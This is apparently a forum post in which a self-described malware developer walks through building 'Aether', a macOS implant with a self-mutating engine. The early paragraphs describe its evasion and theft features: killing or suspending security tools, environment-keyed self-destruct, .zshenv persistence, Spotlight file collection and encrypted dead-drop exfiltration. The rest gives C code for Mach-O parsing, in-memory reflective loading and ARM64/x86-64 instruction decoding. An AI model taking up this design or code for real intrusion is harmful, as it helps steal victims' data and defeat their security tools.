Good to be back on the forum,
Today’s post we’re just raw-dogging it from a degenerate malware dev perspective. We’re gonna cook up a self-contained metamorphic engine a piece carrying its own ARM64 disassembler, liveness analyzer, code generator, and multiple mutation algorithms, with reflective loading, collection & exfiltration capabilities.
Is this worth it in ’26? Probably not. Do I think it’s cool? Hell yeah.
Had some free time this weekend, so I figured why not finally write about a piece of code I’ve had sitting around for a while called Aether. You can find it at:
Most of it is written for x86, with a bit of ARM sprinkled in, but the ARM side is pretty half-baked and definitely not finished. Why? Partly because x86 is where most of my time went, and partly because I never fully committed to finishing the ARM implementation.
So I figured this is actually a good excuse to flip that around build a proper ARM version, learn more about the architecture in the process, and clean up some of the rough edges.
As of writing this, it’s been tested on macOS(26.2),
What we’re talking about here is a macOS implant designed to infiltrate a target machine and exfiltrate data from it. Nothing groundbreaking, nothing magical just messing around and exploring how things work.
On macOS, the implementation leans heavily on the Mach‑O executable format. Instead of treating it like a black box, we manipulate the structure directly parsing and modifying the binary so the code can transform itself while still remaining valid and executable.
The metamorphic core runs an N-generation mutation cycle with embedded ARM64/x86-64 disassemblers and liveness analyzer. Junk insertion, equivalent substitution, and block reordering transform the code each execution. Each generation gets encrypted with AES key chaining and reflectively loaded in-memory without touching disk.
Metamorphic basically means a program that rewrites its own body while keeping the same behavior, for a textbook explanation, Wikipedia got you:
Metamorphic code - Wikipedia
The engine validates its environment before execution, checking domain, network, and hardware UUID. If the environment doesn’t match, it self-destructs immediately. The anti-analysis layer handles debugger detection and scans for macOS security tools using encrypted process-name hashes. LaunchDaemon-backed tools are suspended with SIGSTOP, while other processes are terminated with SIGTERM or SIGKILL. Stack-built strings prevent static extraction, and aggressive memory wiping covers traces.
Persistence uses .zshenv hooks and phased execution dormant period, profiling, then exfiltration. The exfiltration mech we use a dead-drop C2 architecture with RSA+AES encryption, collects files via Spotlight, and with exponential backoff to minimize detection.
how you build it ?
Mach-O
Everything we do in this engine revolves around Mach-O. It’s the executable format on macOS the container that holds your code, your data, your symbols, everything the kernel and dyld need to map a binary into memory and run it. If you want to mutate code at runtime, rewrite yourself to disk, or reflectively load a new image without touching dyld, you need to understand this format at the byte level.
Apple documents the structures in <mach-o/loader.h>. That header is your spot. Every struct we reference lives there, and the kernel source (xnu/bsd/kern/mach_loader.c) shows exactly how the loader validates and maps these structures. Worth reading if you want to know what you can get away with.
A Mach-O binary is laid out sequentially header, load commands, then raw data. No index tables, no indirection. You walk it linearly.
┌──────────────────────┐ offset 0
│ mach_header_64 │ 32 bytes
├──────────────────────┤
│ load command 0 │ variable size
│ load command 1 │
│ ... │
│ load command N │
├──────────────────────┤ page-aligned boundary
│ __TEXT segment data │ (code lives here)
├──────────────────────┤
│ __DATA segment data │
├──────────────────────┤
│ __LINKEDIT │ (symbols, strings, fixups)
└──────────────────────┘
The header tells you how many load commands follow and their total size. Each load command describes a segment, and segments contain sections.
struct mach_header_64 is 32 bytes. The fields that matter to us:
struct mach_header_64 {
uint32_t magic; // MH_MAGIC_64 = 0xFEEDFACF
cpu_type_t cputype; // CPU_TYPE_ARM64 or CPU_TYPE_X86_64
cpu_subtype_t cpusubtype;
uint32_t filetype; // MH_EXECUTE, MH_DYLIB, MH_BUNDLE
uint32_t ncmds; // number of load commands
uint32_t sizeofcmds; // total size of all load commands
uint32_t flags; // MH_PIE, MH_NOUNDEFS, etc.
uint32_t reserved;
};
magic is your first sanity check. 0xFEEDFACF means 64-bit native endian. 0xCFFAEDFE means byte-swapped. If you see 0xFEEDFACE that’s 32-bit and you’re in the wrong decade. In the dropper we validate this immediately after decryption to confirm we got a valid binary out
uint32_t magic = *(uint32_t *)decrypted;
if (magic != 0xfeedfacf && magic != 0xcffaedfe) {
memset(decrypted, 0, dec_len);
free(decrypted);
return 1;
}
filetype matters when you’re constructing Mach-Os from scratch. MH_EXECUTE is a standalone binary. MH_DYLIB is a shared library. MH_BUNDLE is a loadable plugin (what dlopen expects). We use MH_DYLIB when wrapping mutated code because it gives us the most flexibility with reflective loading.
flags control linker and loader behavior. MH_PIE enables ASLR. MH_NOUNDEFS tells dyld there are no undefined symbols. MH_DYLDLINK marks it as dynamically linked. We set all three when constructing our wrapper:
mh->flags = MH_NOUNDEFS | MH_DYLDLINK | MH_PIE;
Alright then how we load commands ? that’s a good question homie, every command starts with the same two fields:
struct load_command {
uint32_t cmd; // command type (LC_SEGMENT_64, LC_MAIN, ..)
uint32_t cmdsize; // total size of this command including any trailing data
};
You walk them by advancing cmdsize bytes each iteration. The kernel does the same thing There’s no random access you iterate linearly:
uint8_t *ptr = data + sizeof(struct mach_header_64);
for (uint32_t i = 0; i < mh->ncmds; i++) {
struct load_command *lc = (struct load_command *)ptr;
if (lc->cmd == LC_SEGMENT_64) {
struct segment_command_64 *seg = (struct segment_command_64 *)ptr;
// handle segment
}
ptr += lc->cmdsize;
}
The commands we care about:
LC_SEGMENT_64 describes a memory region. Every segment has a virtual address, virtual size, file offset, file size, and protection flags. The kernel maps filesize bytes from fileoff to vmaddr, then zero-fills up to vmsize. This is how BSS works vmsize > filesize and the difference is
zeroed.
LC_MAIN gives us the entry point as an offset from __TEXT. Older binaries use LC_UNIXTHREAD instead, which embeds a full thread state struct with the instruction pointer set.
LC_SYMTAB and LC_DYSYMTAB point to symbol tables in __LINKEDIT. We need these when constructing valid Mach-Os for reflective loading dyld validates their presence even if they’re empty.
LC_SEGMENT_64 is followed by zero or more section_64 structs, packed inline. The segment’s nsects field tells you how many:
struct segment_command_64 *seg = (struct segment_command_64 *)ptr;
struct section_64 *sections = (struct section_64 *)(seg + 1);
for (uint32_t j = 0; j < seg->nsects; j++) {
// sections[j].sectname - e.g. "__text", "__stubs", "__cstring"
// sections[j].segname - parent segment name
// sections[j].addr - virtual address
// sections[j].size - size in bytes
// sections[j].offset - file offset to raw data
}
The standard layout has 3 segments:
__PAGEZERO is a zero-length mapping at address 0 that catches NULL pointer dereferences. vmsize is typically one page (0x4000 on ARM64), filesize is 0. No actual data.
__TEXT contains executable code and read-only data. Protection is r-x. Inside it, __text holds the actual machine code, __stubs and __stub_helper handle lazy binding, __cstring holds C string literals. The __text section is what we extract, disassemble, mutate, and write back.
__DATA contains writable data globals, static variables, Objective-C metadata. Protection is rw-.
__LINKEDIT holds symbol tables, string tables, code signatures, and fixup chains. No sections inside it just raw data referenced by other load commands.
and this is the core operation. Every time we need to mutate code, we walk the load commands looking for __TEXT.__text:
static struct section_64 *find_text(uint8_t *data) {
struct mach_header_64 *mh = (void *)data;
if (mh->magic != MH_MAGIC_64) return NULL;
uint8_t *p = data + sizeof(*mh);
for (uint32_t i = 0; i < mh->ncmds; i++) {
struct load_command *lc = (void *)p;
if (lc->cmd == LC_SEGMENT_64) {
struct segment_command_64 *seg = (void *)p;
if (!strcmp(seg->segname, "__TEXT")) {
struct section_64 *s = (void *)(p + sizeof(*seg));
for (uint32_t j = 0; j < seg->nsects; j++)
if (!strcmp(s[j].sectname, "__text")) return &s[j];
}
}
p += lc->cmdsize;
}
return NULL;
}
Once you have the section, the code bytes are at data + section->offset, and section->size tells you how many bytes. On ARM64 every instruction is 4 bytes, so size / 4 gives you the instruction count. On x86-64 instructions are variable-length, which is a whole different problem.
Reading Your Own Binary
Self-modification starts with play with yourself [PAUSE!] _NSGetExecutablePath() from <mach-o/dyld.h> gives you the path to the running binary:
char path[1024];
uint32_t size = sizeof(path);
_NSGetExecutablePath(path, &size);
FILE *f = fopen(path, "rb");
fseek(f, 0, SEEK_END);
size_t len = ftell(f);
fseek(f, 0, SEEK_SET);
uint8_t *self = malloc(len);
fread(self, 1, len, f);
fclose(f);
Now self is a byte-for-byte copy of your own Mach-O in heap memory. Parse it, find __text, hand the code bytes to the disassembler, mutate, and you’re in business.
Constructing Mach-Os from Scratch
After mutation, we need to wrap the transformed code in a valid Mach-O for reflective loading. This means building the entire structure by hand header, segments, sections, symbol tables. The wrapper constructs a minimal dylib:
uint8_t *wrap_macho(const uint8_t *code, size_t code_sz, size_t *out_sz) {
// header + load commands | __text code | __LINKEDIT
// Everything page-aligned (0x4000 on ARM64)
size_t code_off = PG_ALIGN(header_size);
size_t code_aln = PG_ALIGN(code_sz);
size_t link_off = code_off + code_aln;
size_t total = link_off + PG;
uint8_t *buf = calloc(1, total);
// ... fill in header, segments, sections, symtab ...
memcpy(buf + code_off, code, code_sz);
return buf;
}
```c
Page alignment is critical so for ARM64 macOS uses 16KB pages (0x4000), not 4KB like x86-64. Get this wrong and the kernel refuses to map your binary. The PG_ALIGN macro rounds up:
```c
#define PG 0x4000
#define PG_ALIGN(x) (((x) + PG - 1) & ~(PG - 1))
The constructed Mach-O needs __PAGEZERO, __TEXT with a __text section, __LINKEDIT with at least empty symtab/strtab, and LC_SYMTAB/LC_DYSYMTAB commands pointing into it.
Skip any of these and dyld or the kernel will reject the image. We also include LC_DYLD_INFO_ONLY with zeroed fields dyld checks for its presence even if there are no actual fixups.
So simply put the mutation engine doesn’t operate on abstract code. It operates on real Mach-O binaries. Every generation reads a Mach-O, extracts __text, transforms the instructions, wraps the result in a new Mach-O, and reflectively loads it. The format is the interface between mutation and execution. Get the parsing wrong and you c0rrupt code. Get the construction wrong and the loader rejects it. Get the alignment wrong and the kernel panics your process.
either way it’s a bitch
The original Apple documentation. Archived because Apple pulled it, but it’s still the most complete reference for the structures in mach-o/loader.h.
- Apple’s OS X ABI Mach-O File Format Reference
- Exploring Mach-O, Part 3
- Snake&Apple I - Mach-O files on ARM64
- MACH-O(5) man page
- loader.h source
- Mac Hacker’s Handbook
Disassembly
Before you can mutate code, you need to understand it. Not at the source level that’s long gone by the time you’re looking at a compiled binary. You need to understand it at the instruction level so what each 4 byte word or variable-length byte sequence actually does, which registers it reads, which it writes, whether it touches flags, whether it branches. Without this, mutation is just corruption.
We built our own disassemblers for both architectures. No Capstone, no Zydis, no external dependencies. The engine needs to be self-contained a single binary carrying everything it needs to understand and rewrite itself. External libraries mean more symbols to resolve, more surface for static analysis, and more things that can break during reflective loading. Rolling your own also means you decode exactly what the mutation engine needs and nothing more.
ARM64
ARM64 is the easier target. Every instruction is exactly 4 bytes, aligned on a 4-byte boundary. No var length encoding, no prefix bytes and no ambiguity about where one instruction ends and the next begins. The ARM Architecture Reference Manual documents the encoding in sections C4 through C6 all bout bit-level specification.
You don’t need all of it. The mutation engine cares about data processing, loads/stores, branches, and system instructions so SIMD/FP we treat as opaque blobs if you don’t get non one of this google is your homie then come back
The decoder reads a 32-bit word and pattern-matches against encoding groups. ARM64 uses a top down bit classification the upper bits identify the instruction class, lower bits encode operands. The bits() extracts arbitrary bit ranges:
static inline uint32_t bits(uint32_t x, int hi, int lo) {
return (x >> lo) & ((1u << (hi - lo + 1)) - 1u);
}
Every instruction decodes into an arm64_inst_t struct that captures everything the mutation engine needs:
typedef struct {
uint32_t raw;
arm_op_t op;
uint8_t rd, rn, rm, ra;
int64_t imm;
int64_t target;
bool is_64bit;
bool sets_flags;
bool reads_flags;
bool valid;
bool is_control_flow;
addr_mode_t addr_mode;
uint8_t regs_read[4];
uint8_t regs_written[2];
uint8_t num_regs_read;
uint8_t num_regs_written;
} arm64_inst_t;
The register tracking arrays are the imprt part. regs_read and regs_written feed directly into liveness analysis. Every decode path must populate these correctly or the mutation engine will clobber live registers and crash the binary.
Decoding starts with branches since they’re the most important for control flow analysis.
A B or BL instruction matches when bits [31:26] are 000101:
/* B / BL */
if ((w & 0x7C000000) == 0x14000000) {
bool link = (w >> 31) & 1;
int64_t off = sxt(bits(w, 25, 0), 26) << 2;
out->op = link ? ARM_OP_BL : ARM_OP_B;
out->target = off;
out->is_control_flow = true;
if (link) wr_track(out, 30); // BL writes X30 (link register)
return true;
}
Then sign-extends the 26-bit immediate to 64 bits. The << 2 accounts for the fact that ARM64 branch offsets are in units of 4 bytes (instruction-aligned). BL additionally writes X30 (the link register) miss this and liveness analysis thinks X30 is dead after a function call, which it isn’t.
Conditional branches (B.cond, CBZ, CBNZ, TBZ, TBNZ) each have their own encoding. B.cond reads flags (NZCV), CBZ/CBNZ read a register and compare against zero, TBZ/TBNZ test a specific bit. The decoder marks reads_flags for B.cond so the mutation engine knows not to insert flag-clobbering junk before it:
/* B.cond */
if ((w & 0xFF000010) == 0x54000000) {
out->op = ARM_OP_B_COND;
out->target = sxt(bits(w, 23, 5), 19) << 2;
out->cond = (arm_cond_t)(w & 0xF);
out->reads_flags = true;
out->is_control_flow = true;
return true;
}
Data processing instructions are where the encoding gets dense. ADD/SUB immediate, ADD/SUB shifted register, logical shifted register, logical immediate each has its own bit pattern. The decoder handles aliases: CMP is SUBS with Rd=XZR, MOV is ORR Rd, XZR, Rm, TST is ANDS XZR, Rn, Rm
These aliases matter because the mutation engine needs to know the semantic operation, not just the raw encoding. When we substitute MOV X1, X2 with an equivalent, we need to know it’s a move, not an OR with zero:
/* MOV reg alias: ORR Xd, XZR, Xm */
if (opc == 1 && !N && out->rn == 31 && out->shift_type == 0 && out->shift_amount == 0) {
out->op = ARM_OP_MOV_REG;
rd_track(out, out->rm);
wr_track(out, out->rd);
return true;
}
Logical immediates use ARM64’s bitmask encoding one of the more painful parts of the ISA. A logical immediate isn’t stored as a plain value It’s actually encoded as three fields: N, immr, imms, which together describe a repeating bit pattern.
-bit mask from these fields. The ARM ARM describes this in section C3.4.4. The algorithm finds the element size from the highest set bit of N:NOT(imms), constructs a base pattern, rotates it, then replicates it across 64 bits. Getting this wrong means your equivalent substitutions
produce different values.
Also
Load/store decoding tracks addressing modes because they affect register liveness. A pre-index [Xn, #imm]! writes back to the base register both a read and a write. A post-index [Xn], #imm does the same. Plain offset [Xn, #imm] only reads the base. The rn_is_sp flag marks
instructions where register 31 means SP rather than XZR (most load/store instructions use SP, most data processing uses XZR). This distinction matters for stack frame analysis.
Load/store pairs (LDP/STP) transfer two registers at once. The decoder tracks both Rd and Ra (the second register, encoded in the Rt2 field). For stores, both are reads. For loads, both are writes. Miss the second register and liveness analysis has a blind spot.
System instructions (SVC, MRS, MSR, NOP, barriers) and PAC instructions (PACIASP, AUTIASP, RETAA) get decoded but marked is_privileged. The mutation engine won’t touch these reordering a PACIASP relative to its matching AUTIASP breaks pointer authentication and crashes the process.
SIMD/FP instructions we recognize but don’t decode internally. They get tagged as ARM_OP_SIMD and treated as opaque barriers. The mutation engine won’t insert junk between SIMD sequences or reorder them. This is conservative but alright for decoding the full NEON/SVE instruction set would double the disassembler size for minimal mutation benefit.
x86-64
I’ll keep this one short but x86-64 is a different beast entirely. Variable-length instructions from 1 to 15 bytes. Legacy prefixes, REX prefixes, VEX prefixes, ModR/M bytes, SIB bytes, displacements, immediates all optional, all context-dependent. See “The Intel Software Developer’s Manual (SDM) Volume 2”
The decoder is a single-pass state machine. It walks the byte stream consuming prefixes, then the opcode, then ModR/M, then SIB, then displacement, then immediate Each stage determines whether the next stage exists:
[prefixes] [REX] [opcode 1-3 bytes] [ModR/M] [SIB] [disp 1/2/4] [imm 1/2/4/8]
Prefixes come first. Legacy prefixes (0x66 operand size, 0xF0 LOCK, 0xF2/0xF3 REP, segment overrides) can appear in any order. REX prefixes (0x40-0x4F) extend register encoding from 3 bits to 4 bits, giving access to R8-R15. The decoder consumes these in a loop:
while (p < end && out->prefix_count < 4) {
uint8_t b = *p;
if ((b & 0xF0) == 0x40) { /* REX */
rex_w = (b >> 3) & 1; // 64-bit operand size
rex_r = (b >> 2) & 1; // extends ModR/M reg field
rex_x = (b >> 1) & 1; // extends SIB index field
rex_b = b & 1; // extends ModR/M rm or SIB base
p++; continue;
}
if (!is_prefix(b)) break;
p++; out->prefix_count++;
}
VEX and EVEX prefixes (used by AVX/AVX-512) we skip entirely. If we see 0xC4, 0xC5, or 0x62, we mark the instruction as SIMD and consume the rest as opaque. Same reasoning as ARM64 not worth decoding for mutation purposes.
The opcode is 1, 2, or 3 bytes. Single-byte opcodes cover most common instructions. Two-byte opcodes start with 0x0F (the escape byte). Three-byte opcodes start with 0x0F 0x38 or 0x0F 0x3A. The needs_modrm() function determines whether a ModR/M byte follows this is a lookup against the opcode tables in the SDM.
ModR/M is where x86 encoding gets interesting. It’s a single byte with three fields: mod (2 bits), reg (3 bits), rm (3 bits). mod=3 means register-to-register. mod=0/1/2 means memory operand with 0/1/4 bytes of displacement. When rm=4, a SIB byte follows for scaled-index addressing ([base + index*scale + disp]). When mod=0 and rm=5, it’s RIP-relative addressing critical for position-independent code on x86-64.
The SIB byte adds another layer scale (2 bits), index (3 bits), base (3 bits). Index register 4 (RSP) means “no index”. Base register 5 with mod=0 means “no base, disp32 only”. These special cases are documented in SDM Table 2-3. Get them wrong and your displacement calculations are off, which means your branch target resolution is wrong, which means your control flow analysis is wrong, which means your fucked up
REX bits extend the 3-bit register fields to 4 bits. REX.R extends ModR/M.reg, REX.B extends ModR/M.rm and SIB.base, REX.X extends SIB.index. This is how x86-64 accesses R8-R15:
out->reg = reg3 | (rex_r ? 8 : 0);
uint8_t base_reg = rm3 | (rex_b ? 8 : 0);
After raw decoding, we runs a second pass to determine the semantic operation and populate register tracking. This is separated from decoding because x86 uses the same opcode bytes for different operations depending on the ModR/M extension field (/r). Opcode 0xF7 with
/r=3 is NEG, with /r=4 is MUL, with /r=6 is DIV. The classifier handles all of these:
if (op0 == 0xF7) {
switch (ext) {
case 0: inst->op = X86_OP_TEST; inst->sets_flags = true; ...
case 2: inst->op = X86_OP_NOT; ...
case 3: inst->op = X86_OP_NEG; inst->sets_flags = true; ...
case 4: inst->op = X86_OP_MUL; inst->sets_flags = true; ...
case 6: inst->op = X86_OP_DIV; ...
}
}
Register tracking on x86 is more bitch than ARM64 because of implicit operands. MUL implicitly reads RAX and writes RAX:RDX. DIV reads RDX:RAX and writes RAX and RDX. PUSH reads RSP and writes RSP. CALL reads RSP, writes RSP, and (per the System V ABI) clobbers all volatile
registers. The classifier encodes the System V calling convention directly:
static const bool x86_volatile[16] = {
true, /* rax */ true, /* rcx */ true, /* rdx */ false, /* rbx */
false, /* rsp */ false, /* rbp */ true, /* rsi */ true, /* rdi */
true, /* r8 */ true, /* r9 */ true, /* r10 */ true, /* r11 */
false, /* r12 */ false, /* r13 */ false, /* r14 */ false, /* r15 */
};
This table drives liveness analysis across function calls. After a CALL, all volatile registers are assumed clobbered (dead). Non-volatile registers (RBX, RBP, R12-R15) are preserved by the callee and remain live.
The two architectures share nothing at the encoding level. ARM64 is clean and regular fixed-width, consistent field positions, orthogonal register encoding. x86-64 is a 40-year accumulation of extensions bolted onto an 8-bit microprocessor ISA.
The ModR/M/SIB/REX machinery alone is more complex than the entire ARM64 encoding scheme. Building a disassembler for both means solving two fundamentally different problems.
